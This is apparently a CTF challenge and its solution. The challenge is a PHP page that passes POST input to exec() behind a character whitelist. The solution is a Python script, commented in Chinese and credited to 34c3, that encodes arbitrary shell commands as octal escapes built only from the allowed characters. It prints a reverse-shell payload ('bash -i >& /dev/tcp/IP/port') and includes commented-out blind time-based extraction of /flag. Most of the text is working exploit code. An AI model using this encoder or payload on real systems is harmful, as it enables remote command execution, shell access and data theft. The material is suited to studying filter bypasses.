<?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
$test = $_POST['cmd'];
$white_list = str_split('${#}\\(<)\'0');
$char_list = str_split($test);
foreach($char_list as $c){
if(!in_array($c,$white_list)){
die("Cyzcc");
}
}
exec($test);
}
?>

只能使用括号内的字符执行命令

import requests
# 八进制
n = dict()
n[0] = '${#}'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}${#}${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}${#}))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f = ''

def str_to_oct(cmd): #命令转换成八进制字符串
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s+='\\'+o
return s

def build(cmd): #八进制字符串转换成字符
payload = "$0<<<$0\<\<\<\$\\\'" #${!#}与$0等效
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''

# def get_flag(url,payload): #盲注函数
# try:
# data = {'cmd':payload}
# r = requests.post(url,data,timeout=1.5)
# except:
# return True
# return False

# 弹shell
print(build('bash -i >& /dev/tcp/IP/port 0>&1'))

#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
# for j in a:
# cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
# url = "http://ip/"
# if get_flag(url,build(cmd)):
# break
# f = f+j
# print(f)

抄的34c3